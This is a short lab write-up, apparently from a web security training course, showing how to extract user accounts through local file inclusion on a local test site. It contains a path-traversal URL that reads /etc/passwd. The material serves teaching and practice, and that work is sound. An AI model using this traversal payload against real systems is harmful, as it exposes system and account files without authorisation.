extracting-user-accounts-with-local-file-inclusion.md

Extracting User Accounts with Local File Inclusion

Lab 20: Insecure Direct Object References - Extracting User Accounts with Local File Inclusion

Go to directory browsing page: https://127.0.0.1/index.php?page=directory-browsing.php

and change the reference value of attribute with: multiple sequence of ../ to go in the previous directory (6 or 7 should be enough) + /etc/passwd

https://127.0.0.1/index.php?page=../../../../../../../etc/passwd